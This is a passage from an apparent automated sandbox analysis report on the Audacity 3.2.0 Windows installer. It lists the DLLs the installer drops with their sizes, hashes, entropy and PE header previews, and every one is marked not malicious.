SHA-512:	DCEDCAE92AD993EEE336039DCCB0F06FEE1E57CCF10DA8C1B27CC991C09332D647EB1A97AA2D91440DB1EAF54D709923ECA6DEB76CA9E6193E265FD13B846E55
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p.}(4..{4..{4..{=.{<..{...z"..{...z<..{...z7..{...z2..{...z6..{...z6..{...z1..{4..{@..{...z6..{...z5..{...{5..{...z5..{Rich4..{........PE..d.....,c.........." ...!.,...................................................0......D.....`............................................................................../... .......R..8............................P..@............................................text...W*.......,.................. ..`.rdata...]...@...^...0..............@..@.data...............................@....pdata..............................@..@.idata...#.......$..................@..@.00cfg..u...........................@..@.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................

C:\Program Files\Audacity\lib-sample-track.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	155624
Entropy (8bit):	5.265171313407522
Encrypted:	false
SSDEEP:	1536:qKjZYDM5bxuV8/aiTNbQNIjZLeqrj7op/zo8Y+6AbAvjnlXm3x:qycVFiTZQNnqjoFo8YKbAvjnh+
MD5:	2E74D0CA4ABA12AE2CC3A1B5C894B7AF
SHA1:	FD85A6B9F071756FFB43BE8DAF926B1F1934CF5C
SHA-256:	97334F54BE3D14A9EE377C49B53D05A1CB4FAD9B1E5046A13E43EF152DCD06A7
SHA-512:	A06B522C86799605ABF700FC2944180202DDE23FACDCB5854D7CD25046EF9E28C46703079D3FD98AA701538CEF28E094D74D4FF23259ED67B4CC1A63CF9C9564
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........J..$...$...$......$...!...$... ...$...'...$...%...$.O.%...$...%...$...%...$...%..$...!...$...$...$......$...&...$.Rich..$.........PE..d... .,c.........." ...!.b..........................................................m ....`.................................................(9..,...............h....0.../.......... ...8.......................(.......@............0..(............................text...1a.......b.................. ..`.rdata...o.......p...f..............@..@.data...............................@....pdata..8...........................@..@.idata...(...0...*..................@..@.tls.........`....... ..............@....00cfg..u....p.......$..............@..@.rsrc................&..............@..@.reloc...............,..............@..B................................................................................................................

C:\Program Files\Audacity\lib-screen-geometry.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	158184
Entropy (8bit):	5.098093693979249
Encrypted:	false
SSDEEP:	1536:7huamjZJj++cwor+wSCCdtpnrL0SknlXdt:7Lm1JqwO+wSJrwSknhD
MD5:	902C4846494AE9E2A1E5738E6F7C5A21
SHA1:	901A07897F19BDABBB325F7F3053DC7ED7F4F150
SHA-256:	8B28239AB4AC0107A9F7A52B95B242830A684FE925A055F92FC594068E84AE66
SHA-512:	5B5C6C4657C4A8C45CC4FE619ABFE3978A5E62A4D99B19E4DE0639667ACF45DC9251A584F94AA42ABF9802EA10C72255630F3E1982D22E1BA5A6B9905E52F202
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..N...N...N...G}{.H....~..X....~..F....~..M....~..H...w..L....\|..L....~.._...N...(....~..J....~..O....~..O....~..O...RichN...........PE..d.....,c.........." ...!.....".......................................................S....`..............................................%.. 9..T....p....... .......:.../..........pH..8............................F..@............0.. ............................text............................... ..`.rdata..e....0......."..............@..@.data...YS.......J..................@....pdata..<.... ......................@..@.idata...(...0...*..................@..@.00cfg..u....`.......,..............@..@.rsrc........p......................@..@.reloc...............4..............@..B........................................................................................................................................................

C:\Program Files\Audacity\lib-sentry-reporting.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	217576
Entropy (8bit):	5.401974425177721
Encrypted:	false
SSDEEP:	3072:H90pVhxUps8PpwA2it1q4hq+j9zhdrFCsnR58TUd3Xnh0:H9WPxUps8P+hit11zhnvv8Qd3XnK
MD5:	F60CF8FABBB3F5E0160546505B31F15D
SHA1:	6F59F5900FDC7B7698595CDF2095DADD6F2D6C86
SHA-256:	C178FDBD506EF86C3469E8C3FF75734417CFCE6EE679908B26777B199350B50A
SHA-512:	A21E6C45241092864FFFB736DF7E85190DCD33A1FC492E8AF63DCB90F5FACF1AC83E247F46586DBE7DAB992FF600E2023F404A62C492112C1DED534F9542C587
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......h..T,...,...,...%.D.$.......$.......(.......6.......*.......................+...,...Q......./.......-.....(.-.......-...Rich,...........................PE..d.....,c.........." ...!.6...........................................................V....`.............................................`....(.......p...............".../......,...`p..8................... v..(....n..@............ ...............................text...W4.......6.................. ..`.rdata..@....P.......:..............@..@.data...............................@....pdata..P...........................@..@.idata..y&... ...(..................@..@.tls.........P......................@....00cfg..u....`......................@..@.rsrc........p......................@..@.reloc..............................@..B................................................................................................

C:\Program Files\Audacity\lib-string-utils.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131560
Entropy (8bit):	5.645139351187392
Encrypted:	false
SSDEEP:	1536:rx6o0Y8RrdWtxrXBRr0ZclfoSf5/jNF4EircMzHwvnlXs:rx6138/rc+foA7NircMzwvnhs
MD5:	3EDABA20090B3BF72F7D100C7F7D9D98
SHA1:	4DC6BB35CD874057237537359F1423F64CBA389E
SHA-256:	09BD4DE641A190625C534BA32A74BAD4F6CDCCEA9AA89942A5A16E724A9280B8
SHA-512:	8D5B609167155377F866D4129F863E416C11FCB709E9801801B359BDCE713D42EE5545895A6C70D52E5923FE3E525FCF8820517D3FD266CE790C6AEE8985A271
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........z..)..)..)..)..)M..(..)M..(..)M..(..)M..(..)...(..)N..(..)..)..)C..(..)C..(..)C.g)..)C..(..)Rich..)........PE..d...].,c.........." ...!..................................................... ...........`............................................................................./...........x..8............................v..@............................................text............................... ..`.rdata.......0......................@..@.data...............................@....pdata..$...........................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...............................@..@.reloc..z...........................@..B................................................................................................................................................................

C:\Program Files\Audacity\lib-strings.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	146920
Entropy (8bit):	5.139641845313934
Encrypted:	false
SSDEEP:	1536:zII5pLcEDrzHyGJc3FKEYUeUYkT4TPd2U3qY7tnoxsxKzoybfJxEnlX6C:kI50GJc34EYUmU4TPd2U3q8Fy7J6nhV
MD5:	4A824AA92D474733C4D485D653F87D20
SHA1:	559628EFC8F41D841D7E604B1B9933DB41EF77E4
SHA-256:	E3541B33EACC76BF9FA86A1A804EE243E9E8425DE2631D059E00BCDB527AFDF5
SHA-512:	6980C2AC2DA322D31A48B06ABC7AB17241006CF184A6E7E8A5B2E5B8F2B040DD9781574FE18192B722A1323D61069864C97F9132F35A7A1F06B8DEBFCA7A23A8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{]...3..3..3.b...3.8a6..3.8a7..3.8a0..3.8a2..3.kh2..3.;c2..3..2.6.3.6a6..3.6a3..3.6a...3.6a1..3.Rich..3.........................PE..d...V.,c.........." ...!.N...................................................`.......]....`.................................................P........@..........<......../...P..@....z..8............................y..@...............P............................text....M.......N.................. ..`.rdata...h...`...j...R..............@..@.data...............................@....pdata..............................@..@.idata...(.......*..................@..@.00cfg..u....0......................@..@.rsrc........@......................@..@.reloc..a....P......................@..B................................................................................................................................................

C:\Program Files\Audacity\lib-theme-resources.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2260968
Entropy (8bit):	4.801557660845151
Encrypted:	false
SSDEEP:	24576:gUbWniu8FULj/9s6l6gdrMKC5HXeEpOWDkqUNTN6VVBk+IYqzeUDuHWNuC0DeHpI:mhIoHfk
MD5:	29B7DDC8E555EC45B02D9CC3AFBAB940
SHA1:	FF4687E50955530F6E8F4863A5E1D498A9446A8E
SHA-256:	54B93962ABA4E378E783F91C49E78F689B9240663DEC64E92F2933946097B400
SHA-512:	F9C521B9B4A93DF9D245C777FFBEABAFAC0417CF72FEF055AD1392AC4AA77EB86C25BA0D7D735A0EA6650CA6FC5B11B518C556DBE9DB76C0895F7ED9ABACE1BB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............i...i...i.......i.......i.......i.......i.......i..^....i.......i.......i...i...i.......i.......i....w..i.......i..Rich.i..........PE..d.....,c.........." ...!..!..`................................................"......."...`..........................................6".z... e"......."......P"......P"../....".h... .".8.............................".@............`". ............................text...&.!.......!................. ..`.rdata...'...."..(....!.............@..@.data...)....@"......"".............@....pdata..0....P"......(".............@..@.idata..{....`"......0".............@..@.00cfg..u....."......D".............@..@.rsrc........."......F".............@..@.reloc........"......L".............@..B........................................................................................................................................................

C:\Program Files\Audacity\lib-theme.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	420840
Entropy (8bit):	5.4561248767470225
Encrypted:	false
SSDEEP:	6144:IZYpEYEj5I9W95ANTCBWCb+gjbxQa9g6x1MqZoBaoZn6:IWJCxfRWnaA6
MD5:	8F3B39A63644B271696FC963E0FA2390
SHA1:	5B9C986788B0A07DB9B32FDA3C00300757AE6D52
SHA-256:	105C3A41C33CA8EB5E862C89C3E153147FB34975944D16295E2CBC923456BDCB
SHA-512:	A5F05E59FDBFE95F17094707920AB83E216B1BD48B29CB305F12A544AE0159E2D638771D1A04915BB0BA7B977113302C3690EE2819C78C726C7D7C73DB56CD14
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........L...L...L...E.+.F.....D.....H.....Q.....J.....N.....H.....G...L.........H.....M.....G.M.....M...RichL...........PE..d....,c.........." ...!.&...Z......A...............................................W.....`..........................................C..\|R...Q..T...............d ...<.../..........p...8.......................(......@............@...............................text....$.......&.................. ..`.rdata...V...@...X...*..............@..@.data....e..........................@....pdata...$.......&..................@..@.idata...`...@...b..................@..@.tls.................(..............@....00cfg..u............,..............@..@.rsrc...............................@..@.reloc...............4..............@..B................................................................................................................

C:\Program Files\Audacity\lib-track.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	331240
Entropy (8bit):	5.560555810387514
Encrypted:	false
SSDEEP:	3072:oF71vqhLX7itResu71w6yXc+oIfllHe0EcY6+5nhA:opchTWfess1hE1CTZ5nG
MD5:	A06C06503F9B7577829A7B8FF1B974D7
SHA1:	C0BF0D7ECCCD27A521275929469E5E9467BB0568
SHA-256:	FF94C06F788C115DD127B44D75CDF2B5E97BD4CFB59866F7C9AB05393F93DDFE
SHA-512:	118F236B03F8B241E70CC071D5045C815B0314A32B37905352E1D6A6DE9FA8FA9FD32EDA8AA985D75F36A355CE1498839B995D4767FC31B54B728E78635CC835
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z..T..t...t...t.......t...p...t...w...t...q...t...u...t..u...t...u...t...u...t...u.c.t...q...t...t...t.......t...v...t.Rich..t.........PE..d.....,c.........." ...!............A........................................@............`................................................X...h.... ...........$......./...0..\|...."..8....................(..(....!..@...............X............................text............................... ..`.rdata...h.......j..................@..@.data...Y!...p.......Z..............@....pdata..p).......*...r..............@..@.idata..O-..........................@..@.tls................................@....00cfg..u...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................

C:\Program Files\Audacity\lib-transactions.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	72680
Entropy (8bit):	4.656550927654234
Encrypted:	false
SSDEEP:	384:WcjSmTRQNPZjTfez4gxKNOsvgh97O8xziwRtNnM43pwKANynss2m/8E9VFyXmt67:fKZWiNOPO8VDdnQnmkEYX3
MD5:	8525BE5196E9F8FF08C7F335BADAC5C3
SHA1:	A40528E4A85486C2DE90435AC6B2BE03E0E1C378
SHA-256:	0499F2BBE552E575A4CE3175A63D35D6867385C6591703A2D2048B565148797A
SHA-512:	F553C0DD016CF24B555A7A1645FD160836916EE243AB78F7052D5A645F7A299A9E89194D6262CB5A2CF3FB7951C69C018C01702BDCE01A52736FD1041CAB7970
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........n...n...n.......n...k...n...j...n...m...n...o...n.J.o...n...o...n...o...n...o..n...k...n...n...n.....n...l...n.Rich..n.........PE..d...u.,c.........." ...!.z...v...............................................P......~.....`......................................... ...S... ........0.................../...@..d...@...8.......................(.......@............... ............................text....y.......z.................. ..`.rdata..s8.......:...~..............@..@.data...............................@....pdata..\|...........................@..@.idata..0...........................@..@.tls................................@....00cfg..u.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................

C:\Program Files\Audacity\lib-url-schemes.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	94184
Entropy (8bit):	4.652573589494716
Encrypted:	false
SSDEEP:	768:9+HJO9Ezf1J8Ze+iKHVmgUq5A9IcPonmkEYXYg0a1:9bGOe+iMVmyszPonlXYPc
MD5:	0072725F88C1F039BF3F9ACEEA5262B3
SHA1:	1A9441F83CEB671EDFFF88465D751393F588C681
SHA-256:	D14F87BC2337D35F773F917B8FA6EADC7F18009BDDF17E9F717E5D5EBFE5347B
SHA-512:	CF134D546E0D369C7341B36FBCB5FEC39DF97E1A388FC1827CDF3B9AD556DBCFBC7707B833E32D9D32177049B95E49376187436C11548BB0345C5527D4FA2797
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.N...N...N...6...N..'5...N..'5...N..'5...N..'5...N..t<...N..$7...N..)5...N...N...N..)5...N..)5...N..)5t..N..)5...N..Rich.N..........................PE..d...e.,c.........." ...!............................................................ 3....`..................................................F...............0.......@.../..............8................... ...(...p...@............@...............................text............................... ..`.rdata...=.......>..................@..@.data...............................@....pdata.......0......................@..@.idata.......@......................@..@.tls.........`.......0..............@....00cfg..u....p.......4..............@..@.rsrc................6..............@..@.reloc..E............<..............@..B................................................................................................

C:\Program Files\Audacity\lib-utility.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	85992
Entropy (8bit):	4.718541662827653
Encrypted:	false
SSDEEP:	768:lrSatmNjwjWBD0qWe6+yRaQbV+C8pXgPbBnmkEYXFx:2ybRaQb+p0BnlXFx
MD5:	93D85AAAD921AA9FB2B867525943320D
SHA1:	5ED25136C6E9DDB6200BF431B19BB93BEE42E893
SHA-256:	96BE2C683E626073B9649CCAD1B4599DA1C419E2EE6C7B5DF7001608B982D1DB
SHA-512:	4E8796C201C32D73F8635988CE1505445300BAC11407E57D3698D2F441ABCE5E76EB94F7E6B1EB0D2626E12B0A76751D997CF40209023583AC120C1B549C9FCE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x,$.<MJ.<MJ.<MJ.55.8MJ..6O./MJ..6N.;MJ..6I.>MJ..6K.;MJ..?K.>MJ.<MK..MJ..6O.9MJ..6J.=MJ..6..=MJ..6H.=MJ.Rich<MJ.........................PE..d...S.,c.........." ...!.....n...............................................p............`.........................................`........3.......P..<.... ....... .../...`..t.......8...............................@............0...............................text...U........................... ..`.rdata..?E.......F..................@..@.data...............................@....pdata....... ......................@..@.idata.......0......................@..@.00cfg..u....@......................@..@.rsrc...<....P......................@..@.reloc.......`......................@..B........................................................................................................................................................

C:\Program Files\Audacity\lib-uuid.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59880
Entropy (8bit):	4.706981024682892
Encrypted:	false
SSDEEP:	384:dwU1wQRwL30UcNM9M9WHSCFKU7X4+/GnZpwKANynss2m/8E9VFyX1RWZi:dwUNSYCFKU7IQ9nmkEYXD
MD5:	093269C1AE6867EC33F90D5DE556FEA9
SHA1:	EC15B387AA885C0BCC01F854C608B8399884537F
SHA-256:	822706B376EDE878DB5F621027FBC3D8B5B0AA8F5435886D5E857C1901E46B99
SHA-512:	68BDBE37432357820D9F979AAE01F9A1942940DF7B152C0454E0051B5ADF6EF24E35F830333A3F811A2C7B5969E730AE42EFF61A0BF3B700031BE39AAC32220C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............W...W...W..'W...W}.V.W}.V...W}.V...W}.V...W...V...W...W..Ws.V...Ws.V...Ws.KW...Ws.V...WRich...W........................PE..d...a.,c.........." ...!.d...X............................................................`.........................................@.......x...........<................/......X.......8...........................`...@...............x............................text....c.......d.................. ..`.rdata..5*.......,...h..............@..@.data...I...........................@....pdata..............................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...<...........................@..@.reloc..............................@..B........................................................................................................................................................

C:\Program Files\Audacity\lib-xml.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	176616
Entropy (8bit):	5.4004103712971805
Encrypted:	false
SSDEEP:	1536:KzUVbuycsJriqTeUYJYq1YnABFiOMZEtztmT1+2wQftsQ7woW/kZDQ+CDcr1b3Oa:RwYxn0FiRZSl0V3OYKnh8
MD5:	274D16CF279511B16151C2416EE4E04F
SHA1:	B27835A661694BF16CF28751440B2FAB34F318C1
SHA-256:	8C1230733A805341D86EAC2036AF31EE34E6308613767CB3732C07DBD2F74097
SHA-512:	06A4FFFA68FA0F0C9D54F54E321828A6E8CDCF18022BF83558173F259911683E89D82772BE110E8FC32E2A41EC6597D5A0317201502AA57A0B02EC76F85E33DB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........jg.u.4.u.4.u.4...4.u.4A..5.u.4A..5.u.4A..5.u.4A..5.u.4...5.u.4B..5.u.40..5.u.4O..5.u.4.u.4.u.4O..5.u.4O..5.u.4O..4.u.4O..5.u.4Rich.u.4................PE..d....,c.........." ...!............................................................. ....`.............................................z*...}..h............P..L......../..............8...............................@............p...............................text............................... ..`.rdata..:...........................@..@.data........0......................@....pdata..\|....P....... ..............@..@.idata..r<...p...>...8..............@..@.00cfg..u............v..............@..@.rsrc................x..............@..@.reloc...............~..............@..B........................................................................................................................................

C:\Program Files\Audacity\libcurl.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	616424
Entropy (8bit):	5.7316838583683705
Encrypted:	false
SSDEEP:	6144:YDx59zsI2bwni0i8hRCdmKasgHx4yq0SKePn3ug4IJ8UCLpuTCPniT:oxD72bwnHqiiyq0SKCm7xv0
MD5:	742C11D8FB906F724549BEC4A74FAD07
SHA1:	DBEB4D6C524C604FDF73E9927DE64AA39DB46115
SHA-256:	C39701CEB9EE0757AC76D1405364D1819C5079139313BEFC9C0EEF5F715C79E6
SHA-512:	CF7B9B74FBC64B0B22D4C9E7B79EF1F2A5156E76C23C5D5FEC3660309E763C91BC07AD4C6288A8FC1E20F2F7E918F0AD43B0C5808AE744C1FB494663633BAB2E
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......x..<...<...<...5.......^...>...^.p.;...^...1...^...4...^...8...\...>...<..........5...].....]...=...].r.=...<...=...]...=...Rich<...........................PE..d...@).b.........." ... ............2.....................................................`.................................................(<..@....p...........H...8.../......,...p...8...............................@............0..(............................text...4........................... ..`.rdata..............................@..@.data...a0.......&...z..............@....pdata...P.......R..................@..@.idata..I(...0...*..................@..@.00cfg..u....`......................@..@.rsrc........p......................@..@.reloc..^............(..............@..B................................................................................................................................

C:\Program Files\Audacity\libexpat.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	202216
Entropy (8bit):	5.540382304063624
Encrypted:	false
SSDEEP:	3072:Ej9jZHKhtCU5OPazZdYdpNIeW8NckOS1Th1nhO:KZUtfOPCZdYrNIswA1nA
MD5:	D7F241678FF004B9D971818DB3EF90CE
SHA1:	D6075C0DF42E93EA050C00EBF014D5C9CF0E3D24
SHA-256:	37C0BAB7AF44D7B506C531A9E1166B833724CED46A279F4587500DECB3EDAC17
SHA-512:	50F76EBF1F41FEAF8AF96E04CE3AE27DBFA55C7EA691763BF130C6AE319F19C9EA799060C5E85FF1DD9B6580CCE48BE0EB40698CF014807A903938ECC9CACFDB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:..k~.8~.8~.8w.*8t.8..9\|.8..9u.8..9v.8..9}.8...9}.8~.8R.8...9}.8...9..8..F8..8...9..8Rich~.8........PE..d....5.a.........." .....0...................................................0......7[....`.........................................0...................<................/... .......}..8........................... ~..8............................................text..../.......0.................. ..`.rdata...z...@...\|...4..............@..@.data...............................@....pdata..............................@..@.idata..4...........................@..@.00cfg..c...........................@..@.rsrc...<...........................@..@.reloc..R.... ......................@..B........................................................................................................................................................................

C:\Program Files\Audacity\mod-script-pipe.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	69096
Entropy (8bit):	4.400883054086162
Encrypted:	false
SSDEEP:	384:e4z0j+ypZvzS/kadBkNg7LkSx4ast+Sw7pQ/8ZppwKANynss2m/8E9VFyXzHjTzO:FzXkNRQJsszWnmkEYXXW
MD5:	563D08F8AE453987CAF15F293A168B3B
SHA1:	71AC56E69B1DDBB641384984B0584CF29A7BFB15
SHA-256:	F8BA6C591DC20AABE252D9EE091FD5F9005958721542428FCAAF23CE49488561
SHA-512:	BFDAAE793059BE293C9A180C6B96E967ABDC5F83C8E4D7A986E4C06BA4A9FBD9BD043754759D5C8FEBB465FC010442C6992A9B9A97E1733BE90972C67C504FA2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I.`................................................................................F..................................Rich............PE..d.....,c.........." ...!.....Z...............................................@............`.........................................@................ .................../...0..\......8...........................p...@............................................text.............................. ..`.rdata...&.......(..................@..@.data...............................@....pdata..............................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................

C:\Program Files\Audacity\modules\is-JOTP7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	69096
Entropy (8bit):	4.401265815859876
Encrypted:	false
SSDEEP:	384:M4z0j+ypZvzS/kadBkNg7LkSx4ast+Sw7pQ/8ZppwKANynss2m/8E9VFyXzHjT5s:PzXkNRQJsszWnmkEYXXy
MD5:	F3A8F501D7761E661A3315598EDE4379
SHA1:	5FB82E29D62539AD7532CE5A6FAABB7ABD4AB852
SHA-256:	A493FE339B5929640405FA02DE3B869330026A2B41C69643382F4C5824C0D23D
SHA-512:	8F3B7BE9E29A23402DD6E5F44CB2A77C4757D15B8AA50AAE2661AD6E7164806071790BFCEFC42AEA6FE33F8EE802A9122445D893CC5D53637294BEC92D93790D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I.`................................................................................F..................................Rich............PE..d.....,c.........." ...!.....Z...............................................@......(g....`.........................................@................ .................../...0..\......8...........................p...@............................................text.............................. ..`.rdata...&.......(..................@..@.data...............................@....pdata..............................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................

C:\Program Files\Audacity\modules\mod-script-pipe.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	69096
Entropy (8bit):	4.401265815859876
Encrypted:	false
SSDEEP:	384:M4z0j+ypZvzS/kadBkNg7LkSx4ast+Sw7pQ/8ZppwKANynss2m/8E9VFyXzHjT5s:PzXkNRQJsszWnmkEYXXy
MD5:	F3A8F501D7761E661A3315598EDE4379
SHA1:	5FB82E29D62539AD7532CE5A6FAABB7ABD4AB852
SHA-256:	A493FE339B5929640405FA02DE3B869330026A2B41C69643382F4C5824C0D23D
SHA-512:	8F3B7BE9E29A23402DD6E5F44CB2A77C4757D15B8AA50AAE2661AD6E7164806071790BFCEFC42AEA6FE33F8EE802A9122445D893CC5D53637294BEC92D93790D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I.`................................................................................F..................................Rich............PE..d.....,c.........." ...!.....Z...............................................@......(g....`.........................................@................ .................../...0..\......8...........................p...@............................................text.............................. ..`.rdata...&.......(..................@..@.data...............................@....pdata..............................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................

C:\Program Files\Audacity\mpg123.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	418792
Entropy (8bit):	6.01845774139695
Encrypted:	false
SSDEEP:	6144:z8vUASGhdI/DswzPrJSNhGInUAR1xdiU+nH27GfIf55eF3BIeDXsp4nP:z8vUxGI/DswzPN89gbA5cPIeDXDP
MD5:	3B2F19088AAA4BA330183E80865D8903
SHA1:	74F099FE7EDACBEDB0C0EE8C9C1EC4E1067682B7
SHA-256:	80894507E364F81E2F7F6EE15C03FD73561CE22DBDAB4B4D92EA03FDE73E35F2
SHA-512:	5C5F9D64C8B22F92838B83484D828D1C40FB0ED6526EA4703A4C2549EB3D5D2EFD786D65D8544B33BA6035D70E30F298F1E29B26E1F004C27ED8D9F435551096
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........CH?."&l."&l."&l.Z.l."&l.Z'm."&l.Z.l."&l.Z#m."&l.Z"m."&l.Z%m."&l-R'm."&l."'l."&l.X"m."&l."&l."&l.X&m."&l.X.l."&l.X$m."&lRich."&l........PE..d......b.........." ... .....p......#.....................................................`.............................................`...XF..........<.... .......4.../..............8...............................@............@..X............................text...T........................... ..`.rdata..@...........................@..@.data...)...........................@....pdata....... ......................@..@.idata.......@......................@..@.rodata......`......................@..@.00cfg..u....p.......$..............@..@.rsrc...<............&..............@..@.reloc...............,..............@..B................................................................................................................

C:\Program Files\Audacity\msvcp140.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	571312
Entropy (8bit):	6.492350759123951
Encrypted:	false
SSDEEP:	12288:Rsjw3shF+jss1I8CgEWTe5+YMCMGz2MMY5U489wiyaf+QEKZm+jWodEEVksLd:Rs/5U4RBaf+QEKZm+jWodEECsL
MD5:	7DB24201EFEA565D930B7EC3306F4308
SHA1:	880C8034B1655597D0EEBE056719A6F79B60E03C
SHA-256:	72FE4598F0B75D31CE2DC621E8EF161338C6450BB017CD06895745690603729E
SHA-512:	BAC5729A3EB53E9BC7B680671D028CABEF5EA102DFAA48A7C453B67F8ECB358DB9F8FB16B3B1D9EA5A2DFF34F459F6AC87F3A563C736D81D31048766198FF11E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T4...U...U...U...'...U...-8..U...U...U..p/...U..p/...U..p/...U..p/...U..p/...U..p/T..U..p/...U..Rich.U..........PE..d...,pd..........." ... .H...b.......3..............................................r.....`A.........................................H..h...."..,...............8:.......'......8.......p...........................@...@............`...............................text....G.......H.................. ..`.rdata..b....`.......L..............@..@.data...P:...@.......(..............@....pdata..8:.......<...F..............@..@.rsrc...............................@..@.reloc..8...........................@..B................................................................................................................................................................................................................................................................

